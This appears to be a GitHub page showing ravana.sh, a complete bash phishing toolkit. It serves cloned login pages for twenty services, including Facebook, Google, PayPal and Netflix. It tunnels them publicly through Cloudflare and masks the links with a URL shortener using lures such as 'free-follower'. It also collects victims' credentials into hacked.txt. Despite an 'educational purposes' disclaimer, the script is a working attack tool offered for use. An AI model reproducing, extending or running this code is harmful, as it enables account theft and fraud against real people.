-
Notifications
You must be signed in to change notification settings - Fork 37
/
ravana.sh
executable file
Β·424 lines (402 loc) Β· 14.1 KB
/
ravana.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
#!/usr/bin/bash
#@Author prince kumar
#Date 23 dec 2020
# Version V3.0.0
#adding the parrto support in ravana 3.0.0
#This is made only for educational purposes...
# Satrt coding here
# Define some color coding here
r="\e[31;1m" # this is for red
g="\e[32;1m" # green
y="\e[33;1m" # yellow
b="\e[34;1m" # blue
p="\e[35;1m" #purple
n="\e[36;1m" # i don't know this color name
w="\e[0;1m" # This is for white...
#End of color definening-------------------------------
#Trap singnals -------------------------------------
trap user_intrupt SIGINT
trap user_intrupt SIGTSTP
# make a function to catch signals...
# kill the already running proces
user_intrupt(){
printf " \n ${w}\n"
gum spin --spinner monkey --title "Exiting ravana " -- sleep 2
exit 1
}
# make a function to update the ravana if any update is availble
# check for indian ip
is_indian(){
count=$(curl -s http://ip-api.com/json/ | grep -c "India" )
if [[ $count == 1 ]];then
return "true"
else
return "false"
fi
}
up_date(){
echo -ne ""
gum spin --spinner dot --title "Getting info" -- curl https://raw.githubusercontent.com/princekrvert/Ravana/master/version --output vs > /dev/null 2>&1
ver=$(cat vs)
if [[ $ver == "V.3.0.0" ]];then
echo -ne ""
else
echo -e "\0e[36;1m New version is available .. "
echo -ne " updating the ravana.........."
git pull https://github.com/princekrvert/Ravana.git
fi
rm -rf vs > /dev/null
}
# make a function to download the logx tools.
download_logx(){
if [[ -e ".server/loclx" ]]; then
echo -e "\033[32;1m LocalXpose already installed."
else
echo -e "\033[31;1m Installing LocalXpose..."
# now check the os
os=$(uname -m)
if [[ ("$os" == *'arm'*) || ("$os" == *'Android'*) ]]; then
wget 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip' -O loclx
elif [[ "$os" == *'aarch64'* ]]; then
wget 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip' -O loclx
elif [[ "$os" == *'x86_64'* ]]; then
wget 'https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip' -O loclx
else
wget 'https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip' -O loclx
fi
fi
}
#Make a function to check for user data--------
check_cred(){
while true;do
if [[ -f .pweb/$1/userlog.txt ]];then
echo -e "${g}[${w}+${g}] ${y} User data found ${w}"
echo " "
cat .pweb/$1/userlog.txt
echo -e "\n"
cp .pweb/$1/userlog.txt hacked.txt
rm -rf .pweb/$1/userlog.txt
echo -e "${w}[${r}+${w}] ${y} Saving data into hacked.txt"
echo " "
fi
done
}
#End of user cred-------------------
# make a function to mask the url (crdit this function is inspired from jaykali maskphish )
mask(){
shorturl=$(curl -s "https://is.gd/create.php?format=simple&url=$3")
short=${shorturl#https://}
maskurl=https://$1.com-$2@${short}
echo -ne "\e[31;1m[~] Mask url: "
echo -e "\e[32;1m $maskurl"
}
#make a function to download the cloudflare
# now start the cloudflare
start_cloud(){
# remove the previous log file
rm -rf .pk.txt > /dev/null 2>&1
ran=$((RANDOM % 10))
php -S 127.0.0.1:800$ran -t .pweb/$1 > /dev/null 2>&1 & gum spin --spinner dot --title "Starting server" -- sleep 2
# now ask the url
echo -e "\e[0;1m Starting clodflare.. "
#check fi it is termux or not ..
if [[ `command -v termux-chroot` ]];then
sleep 3 && termux-chroot ./cloudflare tunnel -url http://127.0.0.1:800$ran --logfile .pk.txt > /dev/null 2>&1 & #throw all the process in background ..
else
sleep 3 && ./cloudflare tunnel -url http://127.0.0.1:800$ran --logfile .pk.txt > /dev/null 2>&1 &
fi
# now extract the link from the logfile ..
sleep 8
clear
banner
echo -ne "\e[36;1m Link: "
link=$(cat .pk.txt | grep "trycloudflare" | cut -d "|" -f2 | cut -d "}" -f2)
cat .pk.txt | grep "trycloudflare" | cut -d "|" -f2 | cut -d "}" -f2
if [[ ${#link} < 10 ]];then
echo -ne "\e[32;1m [!] Some problem occur . please run the script again.."
else
mask $1 $2 $link
fi
check_cred $1
}
#make a function to download the cloudflared
download(){
gum spin --spinner dot --title "Installing cloudflare" -- wget --no-check-certificate $1 -O cloudflare
chmod +x cloudflare
}
#first check the platform of the machine
check_platform(){
if [[ -e cloudflare ]];then
echo -e "\e[36;1m[~] Cloudflared already installed ."
else
host=$(uname -m)
if [[($host == "arm") || ($host == "Android")]];then
download "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm"
elif [[ $host == "aarch64" ]];then
download "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64"
elif [[ $host == "x86_64" ]];then
download "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64"
else
download "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386"
fi
fi
}
#Make a localhost server-----------------------------
s_localhost(){
#start localhost
echo -e "\n"
echo -e "${g}[${r}~${g}] ${w} Port selection "
echo -e "\n"
ran=$((RANDOM % 10))
echo -e "${p}[${w}01${p}] ${r} Random"
echo -e "${p}[${w}02${p}] ${r} Custom "
echo -e "\n"
echo -ne "${g}[${r}~${g}] ${w} Choose option: "
read lp_optn
if [[ $lp_optn -eq 1 ]] || [[ $lp_optn -eq 01 ]];then
echo -e "\n"
php -S 127.0.0.1:887$ran -t .pweb/$1 > /dev/null 2>&1 & gum spin --spinner dot --title "Starting local server " -- sleep 5
echo -e "\n"
echo -e "${r}[${g}+${r}] ${y} Localhost running on http://127.0.0.1:887$ran"
#now check for user crenditial------
check_cred $1
elif [[ $lp_optn -eq 2 ]] || [[ $lp_optn -eq 02 ]];then
echo -ne "${p}[${w}-${p}] ${r} Enter a port number: "
read p_num #reading for port number
php -S 127.0.0.1:$p_num -t .pweb/$1 > /dev/null 2>&1 & gum spin --spinner dot --title "Starting local server" -- sleep 2
echo -e "\n"
echo -e "${r}[${g}+${r}] ${y} Localhost running on http://127.0.0.1:$p_num "
check_cred $1
else
echo -e "\n"
echo -e "${r}[${y}!${r}] ${p} Invalid option"
fi
}
#Make a function to handle ----------------------------
server(){
cp -R server/$1 .pweb
echo -e "\n"
echo -e "${g}[${y}+${g}] ${w} Port forwoding "
echo -e "\n"
echo -e "${p}[${w}01${p}] ${r} Localhost(for devloper)"
echo -e "${p}[${w}02${p}] ${r} Cloudflare "
echo -e "\n"
echo -ne "${y}[${w}~${y}] ${p} Choose an option: "
read p_optn
if [[ $p_optn -eq 1 ]] || [[ $p_optn -eq 01 ]];then
echo -e "\n"
echo -e "${w}[${r}+${w}] ${g} Starting localhost "
s_localhost $1
elif [[ $p_optn -eq 2 ]] || [[ $p_optn -eq 02 ]];then
echo -e "\n"
echo -e "${w}[${r}+${w}] ${g} Starting clouflare "
check_platform
start_cloud $1 $2
else
echo -e "\n"
echo -e "${r} Invalid option."
fi
#Nedd to start localhost and Ngrok server..
}
#Make a function for Author information --------------
about_me(){
h_os=$(uname -o)
if [[( $h_os == "GNU/Linux" )]];then
echo -e "${g}[${w}+${g}] ${y} Hi there i am Prince Kumar, i am a junior mechanical engineer, currently i am writing a book called Termux hacker\n"
echo -e "${g}[${w}01${g}] ${p} Youtube: https://bit.ly/3sAFWqM "
echo -e "${g}[${w}02${g}] ${p} Instagram: https://is.gd/B8EytP "
echo -e "${g}[${w}03${g}] ${p} Facebook: https://bit.ly/3z49Eaa "
read ab_optn
if [[ $ab_optn == "01" || $ab_optn == "1" ]];then
xdg-open https://bit.ly/3sAFWqM > /dev/null 2>&1
elif [[ $ab_optn == "02" || $ab_optn == "2" ]];then
xdg-open https://is.gd/B8EytP > /dev/null 2>&1
elif [[ $ab_optn == "03" || $ab_optn == "3" ]];then
xdg-open https://bit.ly/3z49Eaa > /dev/null 2>&1
else
echo -ne "Invalid option"
fi
else
echo " "
echo -e "${g}[${w}+${g}] ${y} I am prince kumar and i am a junior mechanical engineer.\n"
echo -e "${g}[${w}01${g}] ${p} Youtube"
echo -e "${g}[${w}02${g}] ${p} Instagram "
echo -e "${g}[${w}03${g}] ${p} Facebook"
echo -e "${r} Choose π€ "
read ab_optn
if [[ $ab_optn == "01" || $ab_optn == "1" ]];then
am start -a android.intent.action.VIEW -d https://bit.ly/3sAFWqM > /dev/null 2>&1
elif [[ $ab_optn == "02" || $ab_optn == "2" ]];then
am start -a android.intent.action.VIEW -d https://is.gd/B8EytP > /dev/null 2>&1
elif [[ $ab_optn == "03" || $ab_optn == "3" ]];then
am start -a android.intent.action.VIEW -d https://bit.ly/3z49Eaa > /dev/null 2>&1
else
echo -e "${r} Invalid option π₯΅ "
fi
fi
}
# Make a function for checking for requirements...---
req_m(){
printf "${r}_______ ${p} checking for requirements ${r}_______\n"
# CHECK if this is termux or not
if [[ -d "/data/data/com.termux/files/home" ]];then
# now check if gum is installed or not
command -v gum 2>&1 > /dev/null || { echo -e "installing gum"; pkg install gum -y ; }
if [[ `command -v proot` ]];then
echo ""
else
echo -e "${g}+++++${y}Installing proot${g}+++++"
pkg install proot resolv-conf -y
fi
fi
command -v php 2>&1 > /dev/null || { echo -e "${g}+++++${y}Installing php${g}+++++" ; apt-get install php -y; }
command -v curl 2>&1 > /dev/null || { echo -e "${g}+++++${y}Installing curl${g}+++++" ; apt-get install curl -y ; }
command -v unzip 2>&1 > /dev/null || { echo -e "${g}+++++${y}Installing unzip${g}+++++" ; apt-get install unzip -y ;}
command -v wget 2>&1 > /dev/null || { echo -e "${g}+++++${y}Installing wget${g}+++++" ; apt-get install wget -y ; }
command -v gum 2>&1 > /dev/null || { echo -e "${g}+++++${y}Installing gum${g}+++++" ; sudo mkdir -p /etc/apt/keyrings; curl -fsSL https://repo.charm.sh/apt/gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/charm.gpg;echo "deb [signed-by=/etc/apt/keyrings/charm.gpg] https://repo.charm.sh/apt/ * *" | sudo tee /etc/apt/sources.list.d/charm.list;
sudo apt update && sudo apt install gum;}
}
# calling req function
req_m
count=$(curl -s http://ip-api.com/json/ | grep -c "India" )
if [[ $count == 1 ]];then
echo -en "\033[0;1mYou are in india so update this script manually if require..\n"
else
up_date
fi
# make a typewriter for ravana2.0
type_W(){
text=( 'S' 't' 'a' 'r' 't' 'i' 'n' 'g' ' ' 'R' 'a' 'v' 'a' 'n' 'a' )
for i in "${text[@]}";do
printf " ${r} ${i}"
sleep .1
done
}
#call the typewriter
type_W
trap user_intrupt
#Make a banner for Ravana2.0
banner(){
clear
printf "\n ${r}"
printf "
β¦ββββββ¦ β¦βββββββββ
β β¦ββ ββ£βββββ ββ£ββββ ββ£ \e[0;1m MADE BY PRINCE
β©βββ© β© ββ β© β©ββββ© β© V3.0.0\e[32;1m
Instagram : https://tinyurl.com/7fp4c26yββββββ βββ βββββ βββ ββββββ ββββββββ βββ
"
}
#Call banner ------------
banner
#Check for the hidden folders..
hidden(){
if [ -d .pweb ];then
rm -rf .pweb
mkdir .pweb
echo " "
else
mkdir .pweb
fi
}
#Cheacking for folder---------------------
hidden
#display options for websites...
printf "${p}[${g}01${p}]${w} Facebook ${p}[${g}11${p}]${w} Netflix\n"
printf "${p}[${g}02${p}]${w} Instagram ${p}[${g}12${p}]${w} Twitter\n"
printf "${p}[${g}03${p}]${w} Snapchat ${p}[${g}13${p}]${w} Dropbox\n"
printf "${p}[${g}04${p}]${w} Google ${p}[${g}14${p}]${w} ig follower\n"
printf "${p}[${g}05${p}]${w} Github ${p}[${g}15${p}]${w} Yandex\n"
printf "${p}[${g}06${p}]${w} Paypal ${p}[${g}16${p}]${w} Origin\n"
printf "${p}[${g}07${p}]${w} Spotify ${p}[${g}17${p}]${w} Ebay\n"
printf "${p}[${g}08${p}]${w} Microsoft ${p}[${g}18${p}]${w} Pinterest\n"
printf "${p}[${g}09${p}]${w} Linkedin ${p}[${g}19${p}]${w} Yahoo\n"
printf "${p}[${g}10${p}]${w} Adobe ${p}[${g}20${p}]${w} About me\n"
echo " "
echo -ne "${y}[${p}~${y}] ${r}Choose an options:: "
read optn #Reading for user choise..
#Apply a case statement
case $optn in
01 | 1)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting facebook server"
server "facebook" "follower-free" ;;
2 | 02)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting instagram server"
server "instagram" "free-follower" ;;
3 | 03)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting Snapchat server"
server "snapchat" "new-friend";;
4 | 04)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting google server"
server "google" "google-login";;
5 | 05)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting github server"
server "github" "free-stars";;
6 | 06)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting Paypal server"
server "paypal" "paypal-login";;
7 | 07)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting Spotify server"
server "spotify" "free-premimum-account";;
8 | 08)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting microsoft server"
server "microsoft" "free-purchage-key";;
9 | 09)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting linkedin server"
server "linkedin" "new-job";;
10)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting adobe server"
server "adobe" "adobe-account";;
11)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting netflix server"
server "netflix" "premimum-account-free";;
12)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting twitter server"
server "twitter" "free-follower";;
13)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting dropbox server"
server "dropbox" "download";;
14)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting fake instagram follower server"
server "ig_follower" "free-follower-new";;
15)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting yandex server"
server "yandex" "yandex-account";;
16)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting origin server"
server "origin" "login";;
17)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting ebay server"
server "ebay" "free-account";;
18)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting pinterest server"
server "pinterest" "free-follower";;
19)
echo " "
echo -ne "${w}[${g}+${w}] ${y} Starting yahoo server"
server "yahoo" "yahoo-account";;
20)
echo " "
echo -ne "${w}[${g}+${w}] ${y} "
about_me;;
*)
echo " "
echo -ne "${w}[${r}!${w}] ${y} Invalid option";;
esac